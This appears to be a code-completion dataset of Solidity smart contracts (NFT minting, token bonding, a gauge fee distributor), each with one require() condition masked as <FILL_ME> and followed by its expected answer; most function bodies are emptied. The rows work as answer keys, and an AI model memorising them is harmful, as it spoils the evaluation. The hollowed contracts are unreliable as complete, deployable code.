| paper.register(_paperKey),"Error registering key" | 215,083 | paper.register(_paperKey) |
"705 no more token available" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./ERC721-templates/chirulabsERC721A.sol";
/**
Metaclub Genesis Collection
by CryptoChile, laurin.eth
*/
contract metaclub is chirulabsERC721A {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using Strings for uint;
IPaperKeyManager paper;
address internal fundReciever;
address internal usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
string public baseURI = "ar://P1fjtIvwJG7iXl3vzFDPeJLPXtoo5Ab2UsT_x5h9q2I/";
uint256 constant public MAX_SUPPLY = 2500;
bool public mintActive = true;
/**
* @param name The NFT collection name
* @param symbol The NFT collection symbol
* @param receiver The wallet address to recieve the royalties
* @param feeNumerator Numerator of royalty % where Denominator default is 10000
*/
constructor (
string memory name,
string memory symbol,
address receiver,
uint96 feeNumerator,
address paper_
)
chirulabsERC721A(name, symbol, receiver, feeNumerator)
{
}
//@dev https://docs.paper.xyz
// onlyPaper modifier to easily restrict multiple different function
modifier onlyPaper(bytes32 _hash, bytes32 _nonce, bytes calldata _signature) {
}
/**
* Allows owner to send aribitrary amounts of tokens to arbitrary adresses
* Used to get offchain PreSale buyers their tokens
* @param recipient Array of addresses of which recipient[i] will recieve amount [i]
* @param amount Array of integers of which amount[i] will be airdropped to recipient[i]
*/
function airdrop(
address[] memory recipient,
uint256[] memory amount
)
public onlyOwner
{
}
/**
* If mint is active, set it to not active.
* If mint is not active, set it to active.
*/
function flipMintState()
public onlyOwner
{
}
/**
* Allows owner to set usdc contract address
* @param usdc_ the address of USDC contract
*/
function setUSDC(
address usdc_
)
public onlyOwner
{
}
/**
* Allows owner to set paper contract address
* @param paper_ the new paper contract address
*/
function setPaper(
address paper_
)
public onlyOwner
{
}
/**
* Allows owner to set paper key
* @param _paperKey the key to be registered
*/
function registerPaperKey(address _paperKey) external onlyOwner {
}
/**
* Allows to check allowlist eligibility
* @dev implements https://docs.paper.xyz/reference/eligibilitymethod
* @param quantity amount to check for
*/
function checkClaimEligibility(
uint256 quantity
)
public view returns (
string memory
){
require(mintActive, "mint not active");
require(<FILL_ME>)
return "";
}
/**
* Allows you to buy tokens at discount
* @dev implements https://docs.paper.xyz/reference/mintmethod
* @param toAddress wallet to mint to
* @param quantity amount of tokens to get
* @param _nonce nonce for paper
* @param _signature Signature for paper
*/
function paperMint(
address toAddress,
uint256 quantity,
bytes32 _nonce,
bytes calldata _signature
)
public payable
onlyPaper(keccak256(abi.encode(toAddress, quantity)), _nonce, _signature)
{
}
/**
* Allows owner to withdraw all ETH
*/
function withdraw()
public onlyOwner
{
}
/**
* Allows owner to withdraw USDC
* @param amount_ how much to send there
*/
function withdrawUSDC(
uint256 amount_
)
public onlyOwner
{
}
/**
* Allows owner to set reciever of withdrawl
* @param reciever who to recieve the balance of the contract
*/
function setReciever(address reciever)
public onlyOwner
{
}
/**
* Allows owner to set baseURI for all tokens
* @param newBaseURI_ new baseURI to be used in tokenURI generation
*/
function setBaseURI(
string calldata newBaseURI_
) external onlyOwner
{
}
/**
* Allows owner to set new EIP2981 Royalty share and/or reciever for the whole collection
* @param reciever_ new royalty reciever to be used
* @param feeNumerator_ new royalty share in basis points to be used e.g. 100 = 1%
*/
function setRoyalty(
address reciever_,
uint96 feeNumerator_
) public onlyOwner
{
}
/**
* Returns the URI (Link) to the given tokenId
* @param tokenId_ tokenId of which to get the URI
*/
function tokenURI(
uint tokenId_
) public override view
returns (string memory)
{
}
}
// License-Identifier: MIT
/// @title Paper Key Manager
/// @author Winston Yeo
/// @notice PaperKeyManager makes it easy for developers to restrict certain functions to Paper.
/// @dev Developers are in charge of registering the contract with the initial Paper key.
/// Paper will then help you automatically rotate and update your key in line with good security hygiene
interface IPaperKeyManager {
/// @notice Registers a Paper Key to a contract
/// @dev Registers the @param _paperKey with the caller of the function (your contract)
/// @param _paperKey The Paper key that is associated with the checkout.
/// You should be able to find this in the response of the checkout API or on the checkout dashbaord.
/// @return bool indicating if the @param _paperKey was successfully registered with the calling address
function register(address _paperKey) external returns (bool);
/// @notice Verifies if the given @param _data is from Paper and have not been used before
/// @dev Called as the first line in your function or extracted in a modifier. Refer to the Documentation for more usage details.
/// @param _hash The bytes32 encoding of the data passed into your function.
/// This is done by calling keccak256(abi.encode(...your params in order))
/// @param _nonce a random set of bytes Paper passes your function which you forward. This helps ensure that the @param _hash has not been used before.
/// @param _signature used to verify that Paper was the one who sent the @param _hash
/// @return bool indicating if the @param _hash was successfully verified
function verify(
bytes32 _hash,
bytes32 _nonce,
bytes calldata _signature
) external returns (bool);
}
| totalSupply().add(quantity)<=MAX_SUPPLY,"705 no more token available" | 215,083 | totalSupply().add(quantity)<=MAX_SUPPLY |
"Already unlocked." | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma abicoder v2;
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
import "@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface Cycliq is IERC20 {
function mint(address account, uint256 amount) external;
}
interface IStakingContract {
function fund(uint256 duration) external payable;
}
contract Bonding is Ownable {
uint24 public constant poolFee = 10000;
uint24 public bondPct = 115;
uint24 public constant lockTerm = 1 weeks;
address public immutable cliq;
IUniswapV2Router02 public immutable uniswapV2Router02;
INonfungiblePositionManager public immutable nonfungiblePositionManager;
IUniswapV3Pool public immutable v3LP;
IStakingContract public immutable stakingContract;
address private marketing = 0xcf57ff60410d32d52357772363cd4CD57e70D312;
address private community = 0xa3297BD4CfB1AC966b6Cdc7e81FD239016Bd6Fc2;
uint256 private v3LpPct = 60;
uint256 private stakingPct = 20;
uint256 private marketingPct = 15;
uint256 private communityPct = 5;
uint256 public treasuryForV3LP;
uint256 public treasuryForStaking;
address[] public uniV2PairPath;
address public weth;
bool public live;
struct BondInfo {
uint256 lockedAmount;
uint256 deadline;
bool claim;
}
mapping(address => BondInfo[]) public userBonds;
mapping(address => uint256) public userBondEth;
uint256 public totalBondAmount;
uint256 public totalLockedAmount;
bool public wethBaseInV3LP;
event V3LPCreated(
uint256 tokenId,
int24 minTick,
int24 maxTick,
uint256 fund
);
event V3LPIncreased(uint256 tokenId, uint256 fund);
event FundToStaking(uint256 duration, uint256 fund);
constructor(
IUniswapV2Router02 _uniswapV2Router02,
INonfungiblePositionManager _nonfungiblePositionManager,
address _cliq,
IUniswapV3Pool _v3LP,
IStakingContract _stakingContract
) {
}
receive() external payable {}
function getCliqPerEth(uint256 ethAmount) public view returns (uint256) {
}
function bond() external payable {
}
function bondCount(address addr) external view returns (uint256) {
}
function unlock(uint256 bondIndex) external {
require(bondIndex < userBonds[msg.sender].length, "out range.");
BondInfo storage bondInfo = userBonds[msg.sender][bondIndex];
require(<FILL_ME>)
totalLockedAmount -= bondInfo.lockedAmount;
bondInfo.claim = true;
if (block.timestamp >= bondInfo.deadline) {
Cycliq(cliq).mint(msg.sender, bondInfo.lockedAmount);
} else {
Cycliq(cliq).mint(
msg.sender,
bondInfo.lockedAmount / 2
);
}
}
function createV3SingleSidedLP()
external
onlyOwner
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
)
{
}
function increaseV3SingleSidedLP(
uint256 tokenId
)
external
onlyOwner
returns (uint128 liquidity, uint256 amount0, uint256 amount1)
{
}
function fundToStaking(uint256 duration) external onlyOwner {
}
function setLive() external onlyOwner {
}
function setBondPct(uint24 _bondPct) external onlyOwner {
}
}
| !bondInfo.claim,"Already unlocked." | 215,116 | !bondInfo.claim |
"FD001" | // SPDX-License-Identifier: LGPL-3.0
pragma solidity 0.8.17;
import "@openzeppelin/contracts-upgradeable/access/Ownable2StepUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "../interfaces/IGaugeFeeDistributor.sol";
import {TransferHelper} from "light-lib/contracts/TransferHelper.sol";
import "light-lib/contracts/LibTime.sol";
struct Point {
int256 bias;
int256 slope;
uint256 ts;
uint256 blk;
}
struct SimplePoint {
uint256 bias;
uint256 slope;
}
interface IGaugeController {
function lastVoteVeLtPointEpoch(address user, address gauge) external view returns (uint256);
function pointsWeight(address gauge, uint256 time) external view returns (SimplePoint memory);
function voteVeLtPointHistory(address user, address gauge, uint256 epoch) external view returns (Point memory);
function gaugeRelativeWeight(address gaugeAddress, uint256 time) external view returns (uint256);
function checkpointGauge(address addr) external;
}
interface IStakingHOPE {
function staking(uint256 amount, uint256 nonce, uint256 deadline, bytes memory signature) external returns (bool);
}
contract GaugeFeeDistributor is Ownable2StepUpgradeable, PausableUpgradeable, IGaugeFeeDistributor {
uint256 constant WEEK = 7 * 86400;
uint256 constant TOKEN_CHECKPOINT_DEADLINE = 86400;
uint256 public startTime;
uint256 public timeCursor;
/// gaugeAddress => userAddress => timeCursor
mapping(address => mapping(address => uint256)) public timeCursorOf;
/// gaugeAddress => userAddress => epoch
mapping(address => mapping(address => uint256)) public userEpochOf;
/// lastTokenTime
uint256 public lastTokenTime;
/// tokensPreWeek
mapping(uint256 => uint256) public tokensPerWeek;
///HOPE Token address
address public token;
/// staking hope address
address public stHOPE;
uint256 public tokenLastBalance;
address public gaugeController;
bool public canCheckpointToken;
address public emergencyReturn;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
}
/**
* @notice Contract constructor
* @param _gaugeController GaugeController contract address
* @param _startTime Epoch time for fee distribution to start
* @param _token Fee token address list
* @param _stHOPE stakingHOPE address
* @param _emergencyReturn Address to transfer `_token` balance to if this contract is killed
*/
function initialize(
address _gaugeController,
uint256 _startTime,
address _token,
address _stHOPE,
address _emergencyReturn
) external initializer {
}
/**
* @notice Update the token checkpoint
* @dev Calculates the total number of tokens to be distributed in a given week.
During setup for the initial distribution this function is only callable
by the contract owner. Beyond initial distro, it can be enabled for anyone
to call
*/
function checkpointToken() external {
require(<FILL_ME>)
_checkpointToken();
}
function _checkpointToken() internal {
}
/**
* @notice Get the veLT balance for `_user` at `_timestamp`
* @param _gauge Address to query voting gauge
* @param _user Address to query voting amount
* @param _timestamp Epoch time
* @return uint256 veLT balance
*/
function veForAt(address _gauge, address _user, uint256 _timestamp) external view returns (uint256) {
}
/**
* @notice Get the VeLT voting percentage for `_user` in _gauge at `_timestamp`
* @dev This function should be manually changed to "view" in the ABI
* @param _gauge Address to query voting gauge
* @param _user Address to query voting
* @param _timestamp Epoch time
* @return value of voting precentage normalized to 1e18
*/
function vePrecentageForAt(address _gauge, address _user, uint256 _timestamp) external returns (uint256) {
}
/**
* @notice Get the HOPE balance for _gauge at `_weekCursor`
* @param _gauge Address to query voting gauge
* @param _weekCursor week cursor
*/
function gaugeBalancePreWeek(address _gauge, uint256 _weekCursor) external view returns (uint256) {
}
function _findTimestampUserEpoch(
address _gauge,
address user,
uint256 _timestamp,
uint256 maxUserEpoch
) internal view returns (uint256) {
}
/// avalid deep stack
struct ClaimParam {
uint256 userEpoch;
uint256 toDistribute;
uint256 maxUserEpoch;
uint256 weekCursor;
Point userPoint;
Point oldUserPoint;
}
function _claim(address gauge, address addr, uint256 _lastTokenTime) internal returns (uint256) {
}
/**
* @notice Claim fees for `_addr`
* @dev Each call to claim look at a maximum of 50 user veCRV points.
For accounts with many veCRV related actions, this function
may need to be called more than once to claim all available
fees. In the `Claimed` event that fires, if `claim_epoch` is
less than `max_epoch`, the account may claim again.
@param gauge Address to claim fee of gauge
@param _addr Address to claim fees for
@return uint256 Amount of fees claimed in the call
*
*/
function claim(address gauge, address _addr) external whenNotPaused returns (uint256) {
}
/**
* @notice Claim fees for `_addr`
* @dev This function should be manually changed to "view" in the ABI
* @param _addr Address to claim fees for
* @return uint256 Amount of fees claimed in the call
*
*/
function claimableTokens(address gauge, address _addr) external whenNotPaused returns (uint256) {
}
/**
* @notice Make multiple fee claims in a single call
* @dev Used to claim for many accounts at once, or to make
multiple claims for the same address when that address
has significant veLT history
@param gauge Address to claim fee of gauge
* @param _receivers List of addresses to claim for. Claiming terminates at the first `ZERO_ADDRESS`.
* @return uint256 claim total fee
*/
function claimMany(address gauge, address[] memory _receivers) external whenNotPaused returns (uint256) {
}
/**
* @notice Make multiple fee claims in a single call
* @dev This function should be manually changed to "view" in the ABI
* @param gaugeList List of gauges to claim
* @param receiver address to claim for.
* @return uint256 claim total fee
*/
function claimManyGauge(address[] memory gaugeList, address receiver) external whenNotPaused returns (uint256) {
}
/**
* @notice Make multiple fee claims in a single call
* @dev Used to claim for many accounts at once, or to make
multiple claims for the same address when that address
has significant veLT history
@param gaugeList List of gauges to claim
* @param receiver address to claim for.
* @return uint256 claim total fee
*/
function claimableTokenManyGauge(address[] memory gaugeList, address receiver) external whenNotPaused returns (uint256) {
}
/**
* @notice Receive HOPE into the contract and trigger a token checkpoint
* @param amount burn amount
* @return bool success
*/
function burn(uint256 amount) external whenNotPaused returns (bool) {
}
/**
* @notice Toggle permission for checkpointing by any account
*/
function toggleAllowCheckpointToken() external onlyOwner {
}
/**
* @notice Recover ERC20 tokens from this contract
* @dev Tokens are sent to the emergency return address.
* @return bool success
*/
function recoverBalance() external onlyOwner returns (bool) {
}
/**
* @notice Set the token emergency return address
* @param _addr emergencyReturn address
*/
function setEmergencyReturn(address _addr) external onlyOwner {
}
function stakingHOPEAndTransfer2User(address to, uint256 amount) internal {
}
function _getPointBalanceOf(int256 bias, int256 slope, uint256 dt) internal pure returns (uint256) {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
}
| (msg.sender==owner())||(canCheckpointToken&&(block.timestamp>lastTokenTime+TOKEN_CHECKPOINT_DEADLINE)),"FD001" | 215,119 | (msg.sender==owner())||(canCheckpointToken&&(block.timestamp>lastTokenTime+TOKEN_CHECKPOINT_DEADLINE)) |
"TRANSFER_FROM_FAILED" | // SPDX-License-Identifier: LGPL-3.0
pragma solidity 0.8.17;
import "@openzeppelin/contracts-upgradeable/access/Ownable2StepUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "../interfaces/IGaugeFeeDistributor.sol";
import {TransferHelper} from "light-lib/contracts/TransferHelper.sol";
import "light-lib/contracts/LibTime.sol";
struct Point {
int256 bias;
int256 slope;
uint256 ts;
uint256 blk;
}
struct SimplePoint {
uint256 bias;
uint256 slope;
}
interface IGaugeController {
function lastVoteVeLtPointEpoch(address user, address gauge) external view returns (uint256);
function pointsWeight(address gauge, uint256 time) external view returns (SimplePoint memory);
function voteVeLtPointHistory(address user, address gauge, uint256 epoch) external view returns (Point memory);
function gaugeRelativeWeight(address gaugeAddress, uint256 time) external view returns (uint256);
function checkpointGauge(address addr) external;
}
interface IStakingHOPE {
function staking(uint256 amount, uint256 nonce, uint256 deadline, bytes memory signature) external returns (bool);
}
contract GaugeFeeDistributor is Ownable2StepUpgradeable, PausableUpgradeable, IGaugeFeeDistributor {
uint256 constant WEEK = 7 * 86400;
uint256 constant TOKEN_CHECKPOINT_DEADLINE = 86400;
uint256 public startTime;
uint256 public timeCursor;
/// gaugeAddress => userAddress => timeCursor
mapping(address => mapping(address => uint256)) public timeCursorOf;
/// gaugeAddress => userAddress => epoch
mapping(address => mapping(address => uint256)) public userEpochOf;
/// lastTokenTime
uint256 public lastTokenTime;
/// tokensPreWeek
mapping(uint256 => uint256) public tokensPerWeek;
///HOPE Token address
address public token;
/// staking hope address
address public stHOPE;
uint256 public tokenLastBalance;
address public gaugeController;
bool public canCheckpointToken;
address public emergencyReturn;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
}
/**
* @notice Contract constructor
* @param _gaugeController GaugeController contract address
* @param _startTime Epoch time for fee distribution to start
* @param _token Fee token address list
* @param _stHOPE stakingHOPE address
* @param _emergencyReturn Address to transfer `_token` balance to if this contract is killed
*/
function initialize(
address _gaugeController,
uint256 _startTime,
address _token,
address _stHOPE,
address _emergencyReturn
) external initializer {
}
/**
* @notice Update the token checkpoint
* @dev Calculates the total number of tokens to be distributed in a given week.
During setup for the initial distribution this function is only callable
by the contract owner. Beyond initial distro, it can be enabled for anyone
to call
*/
function checkpointToken() external {
}
function _checkpointToken() internal {
}
/**
* @notice Get the veLT balance for `_user` at `_timestamp`
* @param _gauge Address to query voting gauge
* @param _user Address to query voting amount
* @param _timestamp Epoch time
* @return uint256 veLT balance
*/
function veForAt(address _gauge, address _user, uint256 _timestamp) external view returns (uint256) {
}
/**
* @notice Get the VeLT voting percentage for `_user` in _gauge at `_timestamp`
* @dev This function should be manually changed to "view" in the ABI
* @param _gauge Address to query voting gauge
* @param _user Address to query voting
* @param _timestamp Epoch time
* @return value of voting precentage normalized to 1e18
*/
function vePrecentageForAt(address _gauge, address _user, uint256 _timestamp) external returns (uint256) {
}
/**
* @notice Get the HOPE balance for _gauge at `_weekCursor`
* @param _gauge Address to query voting gauge
* @param _weekCursor week cursor
*/
function gaugeBalancePreWeek(address _gauge, uint256 _weekCursor) external view returns (uint256) {
}
function _findTimestampUserEpoch(
address _gauge,
address user,
uint256 _timestamp,
uint256 maxUserEpoch
) internal view returns (uint256) {
}
/// avalid deep stack
struct ClaimParam {
uint256 userEpoch;
uint256 toDistribute;
uint256 maxUserEpoch;
uint256 weekCursor;
Point userPoint;
Point oldUserPoint;
}
function _claim(address gauge, address addr, uint256 _lastTokenTime) internal returns (uint256) {
}
/**
* @notice Claim fees for `_addr`
* @dev Each call to claim look at a maximum of 50 user veCRV points.
For accounts with many veCRV related actions, this function
may need to be called more than once to claim all available
fees. In the `Claimed` event that fires, if `claim_epoch` is
less than `max_epoch`, the account may claim again.
@param gauge Address to claim fee of gauge
@param _addr Address to claim fees for
@return uint256 Amount of fees claimed in the call
*
*/
function claim(address gauge, address _addr) external whenNotPaused returns (uint256) {
}
/**
* @notice Claim fees for `_addr`
* @dev This function should be manually changed to "view" in the ABI
* @param _addr Address to claim fees for
* @return uint256 Amount of fees claimed in the call
*
*/
function claimableTokens(address gauge, address _addr) external whenNotPaused returns (uint256) {
}
/**
* @notice Make multiple fee claims in a single call
* @dev Used to claim for many accounts at once, or to make
multiple claims for the same address when that address
has significant veLT history
@param gauge Address to claim fee of gauge
* @param _receivers List of addresses to claim for. Claiming terminates at the first `ZERO_ADDRESS`.
* @return uint256 claim total fee
*/
function claimMany(address gauge, address[] memory _receivers) external whenNotPaused returns (uint256) {
}
/**
* @notice Make multiple fee claims in a single call
* @dev This function should be manually changed to "view" in the ABI
* @param gaugeList List of gauges to claim
* @param receiver address to claim for.
* @return uint256 claim total fee
*/
function claimManyGauge(address[] memory gaugeList, address receiver) external whenNotPaused returns (uint256) {
}
/**
* @notice Make multiple fee claims in a single call
* @dev Used to claim for many accounts at once, or to make
multiple claims for the same address when that address
has significant veLT history
@param gaugeList List of gauges to claim
* @param receiver address to claim for.
* @return uint256 claim total fee
*/
function claimableTokenManyGauge(address[] memory gaugeList, address receiver) external whenNotPaused returns (uint256) {
}
/**
* @notice Receive HOPE into the contract and trigger a token checkpoint
* @param amount burn amount
* @return bool success
*/
function burn(uint256 amount) external whenNotPaused returns (bool) {
if (amount != 0) {
require(<FILL_ME>)
if (canCheckpointToken && (block.timestamp > lastTokenTime + TOKEN_CHECKPOINT_DEADLINE)) {
_checkpointToken();
}
}
return true;
}
/**
* @notice Toggle permission for checkpointing by any account
*/
function toggleAllowCheckpointToken() external onlyOwner {
}
/**
* @notice Recover ERC20 tokens from this contract
* @dev Tokens are sent to the emergency return address.
* @return bool success
*/
function recoverBalance() external onlyOwner returns (bool) {
}
/**
* @notice Set the token emergency return address
* @param _addr emergencyReturn address
*/
function setEmergencyReturn(address _addr) external onlyOwner {
}
function stakingHOPEAndTransfer2User(address to, uint256 amount) internal {
}
function _getPointBalanceOf(int256 bias, int256 slope, uint256 dt) internal pure returns (uint256) {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
}
| IERC20Upgradeable(token).transferFrom(msg.sender,address(this),amount),"TRANSFER_FROM_FAILED" | 215,119 | IERC20Upgradeable(token).transferFrom(msg.sender,address(this),amount) |
"APPROVE_FAILED" | // SPDX-License-Identifier: LGPL-3.0
pragma solidity 0.8.17;
import "@openzeppelin/contracts-upgradeable/access/Ownable2StepUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "../interfaces/IGaugeFeeDistributor.sol";
import {TransferHelper} from "light-lib/contracts/TransferHelper.sol";
import "light-lib/contracts/LibTime.sol";
struct Point {
int256 bias;
int256 slope;
uint256 ts;
uint256 blk;
}
struct SimplePoint {
uint256 bias;
uint256 slope;
}
interface IGaugeController {
function lastVoteVeLtPointEpoch(address user, address gauge) external view returns (uint256);
function pointsWeight(address gauge, uint256 time) external view returns (SimplePoint memory);
function voteVeLtPointHistory(address user, address gauge, uint256 epoch) external view returns (Point memory);
function gaugeRelativeWeight(address gaugeAddress, uint256 time) external view returns (uint256);
function checkpointGauge(address addr) external;
}
interface IStakingHOPE {
function staking(uint256 amount, uint256 nonce, uint256 deadline, bytes memory signature) external returns (bool);
}
contract GaugeFeeDistributor is Ownable2StepUpgradeable, PausableUpgradeable, IGaugeFeeDistributor {
uint256 constant WEEK = 7 * 86400;
uint256 constant TOKEN_CHECKPOINT_DEADLINE = 86400;
uint256 public startTime;
uint256 public timeCursor;
/// gaugeAddress => userAddress => timeCursor
mapping(address => mapping(address => uint256)) public timeCursorOf;
/// gaugeAddress => userAddress => epoch
mapping(address => mapping(address => uint256)) public userEpochOf;
/// lastTokenTime
uint256 public lastTokenTime;
/// tokensPreWeek
mapping(uint256 => uint256) public tokensPerWeek;
///HOPE Token address
address public token;
/// staking hope address
address public stHOPE;
uint256 public tokenLastBalance;
address public gaugeController;
bool public canCheckpointToken;
address public emergencyReturn;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
}
/**
* @notice Contract constructor
* @param _gaugeController GaugeController contract address
* @param _startTime Epoch time for fee distribution to start
* @param _token Fee token address list
* @param _stHOPE stakingHOPE address
* @param _emergencyReturn Address to transfer `_token` balance to if this contract is killed
*/
function initialize(
address _gaugeController,
uint256 _startTime,
address _token,
address _stHOPE,
address _emergencyReturn
) external initializer {
}
/**
* @notice Update the token checkpoint
* @dev Calculates the total number of tokens to be distributed in a given week.
During setup for the initial distribution this function is only callable
by the contract owner. Beyond initial distro, it can be enabled for anyone
to call
*/
function checkpointToken() external {
}
function _checkpointToken() internal {
}
/**
* @notice Get the veLT balance for `_user` at `_timestamp`
* @param _gauge Address to query voting gauge
* @param _user Address to query voting amount
* @param _timestamp Epoch time
* @return uint256 veLT balance
*/
function veForAt(address _gauge, address _user, uint256 _timestamp) external view returns (uint256) {
}
/**
* @notice Get the VeLT voting percentage for `_user` in _gauge at `_timestamp`
* @dev This function should be manually changed to "view" in the ABI
* @param _gauge Address to query voting gauge
* @param _user Address to query voting
* @param _timestamp Epoch time
* @return value of voting precentage normalized to 1e18
*/
function vePrecentageForAt(address _gauge, address _user, uint256 _timestamp) external returns (uint256) {
}
/**
* @notice Get the HOPE balance for _gauge at `_weekCursor`
* @param _gauge Address to query voting gauge
* @param _weekCursor week cursor
*/
function gaugeBalancePreWeek(address _gauge, uint256 _weekCursor) external view returns (uint256) {
}
function _findTimestampUserEpoch(
address _gauge,
address user,
uint256 _timestamp,
uint256 maxUserEpoch
) internal view returns (uint256) {
}
/// avalid deep stack
struct ClaimParam {
uint256 userEpoch;
uint256 toDistribute;
uint256 maxUserEpoch;
uint256 weekCursor;
Point userPoint;
Point oldUserPoint;
}
function _claim(address gauge, address addr, uint256 _lastTokenTime) internal returns (uint256) {
}
/**
* @notice Claim fees for `_addr`
* @dev Each call to claim look at a maximum of 50 user veCRV points.
For accounts with many veCRV related actions, this function
may need to be called more than once to claim all available
fees. In the `Claimed` event that fires, if `claim_epoch` is
less than `max_epoch`, the account may claim again.
@param gauge Address to claim fee of gauge
@param _addr Address to claim fees for
@return uint256 Amount of fees claimed in the call
*
*/
function claim(address gauge, address _addr) external whenNotPaused returns (uint256) {
}
/**
* @notice Claim fees for `_addr`
* @dev This function should be manually changed to "view" in the ABI
* @param _addr Address to claim fees for
* @return uint256 Amount of fees claimed in the call
*
*/
function claimableTokens(address gauge, address _addr) external whenNotPaused returns (uint256) {
}
/**
* @notice Make multiple fee claims in a single call
* @dev Used to claim for many accounts at once, or to make
multiple claims for the same address when that address
has significant veLT history
@param gauge Address to claim fee of gauge
* @param _receivers List of addresses to claim for. Claiming terminates at the first `ZERO_ADDRESS`.
* @return uint256 claim total fee
*/
function claimMany(address gauge, address[] memory _receivers) external whenNotPaused returns (uint256) {
}
/**
* @notice Make multiple fee claims in a single call
* @dev This function should be manually changed to "view" in the ABI
* @param gaugeList List of gauges to claim
* @param receiver address to claim for.
* @return uint256 claim total fee
*/
function claimManyGauge(address[] memory gaugeList, address receiver) external whenNotPaused returns (uint256) {
}
/**
* @notice Make multiple fee claims in a single call
* @dev Used to claim for many accounts at once, or to make
multiple claims for the same address when that address
has significant veLT history
@param gaugeList List of gauges to claim
* @param receiver address to claim for.
* @return uint256 claim total fee
*/
function claimableTokenManyGauge(address[] memory gaugeList, address receiver) external whenNotPaused returns (uint256) {
}
/**
* @notice Receive HOPE into the contract and trigger a token checkpoint
* @param amount burn amount
* @return bool success
*/
function burn(uint256 amount) external whenNotPaused returns (bool) {
}
/**
* @notice Toggle permission for checkpointing by any account
*/
function toggleAllowCheckpointToken() external onlyOwner {
}
/**
* @notice Recover ERC20 tokens from this contract
* @dev Tokens are sent to the emergency return address.
* @return bool success
*/
function recoverBalance() external onlyOwner returns (bool) {
}
/**
* @notice Set the token emergency return address
* @param _addr emergencyReturn address
*/
function setEmergencyReturn(address _addr) external onlyOwner {
}
function stakingHOPEAndTransfer2User(address to, uint256 amount) internal {
require(<FILL_ME>)
bool success = IStakingHOPE(stHOPE).staking(amount, 0, 0, "");
require(success, "staking hope fail");
TransferHelper.doTransferOut(stHOPE, to, amount);
}
function _getPointBalanceOf(int256 bias, int256 slope, uint256 dt) internal pure returns (uint256) {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
}
| IERC20Upgradeable(token).approve(stHOPE,amount),"APPROVE_FAILED" | 215,119 | IERC20Upgradeable(token).approve(stHOPE,amount) |
'Minting has not been opened yet' | // ███████╗░█████╗░██╗░░██╗███████╗ ███████╗░█████╗░░█████╗░███████╗░██████╗
// ██╔════╝██╔══██╗██║░██╔╝██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔════╝██╔════╝
// █████╗░░███████║█████═╝░█████╗░░ █████╗░░███████║██║░░╚═╝█████╗░░╚█████╗░
// ██╔══╝░░██╔══██║██╔═██╗░██╔══╝░░ ██╔══╝░░██╔══██║██║░░██╗██╔══╝░░░╚═══██╗
// ██║░░░░░██║░░██║██║░╚██╗███████╗ ██║░░░░░██║░░██║╚█████╔╝███████╗██████╔╝
// ╚═╝░░░░░╚═╝░░╚═╝╚═╝░░╚═╝╚══════╝ ╚═╝░░░░░╚═╝░░╚═╝░╚════╝░╚══════╝╚═════╝░
// ███████╗░█████╗░██████╗░ ░██████╗░█████╗░██╗░░░░░███████╗
// ██╔════╝██╔══██╗██╔══██╗ ██╔════╝██╔══██╗██║░░░░░██╔════╝
// █████╗░░██║░░██║██████╔╝ ╚█████╗░███████║██║░░░░░█████╗░░
// ██╔══╝░░██║░░██║██╔══██╗ ░╚═══██╗██╔══██║██║░░░░░██╔══╝░░
// ██║░░░░░╚█████╔╝██║░░██║ ██████╔╝██║░░██║███████╗███████╗
// ╚═╝░░░░░░╚════╝░╚═╝░░╚═╝ ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝
//
// FAKE FACES FOR SALE
// Jonathan Dinu (@clearspandex)
// 2022
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
contract FakeFaces is
ERC721,
ERC721Enumerable,
ERC721URIStorage,
Pausable,
Ownable,
ERC721Burnable,
ERC721Royalty,
ReentrancyGuard
{
using Counters for Counters.Counter;
using ECDSA for bytes32;
event PermanentURI(string _value, uint256 indexed _id);
Counters.Counter private _tokenIdCounter;
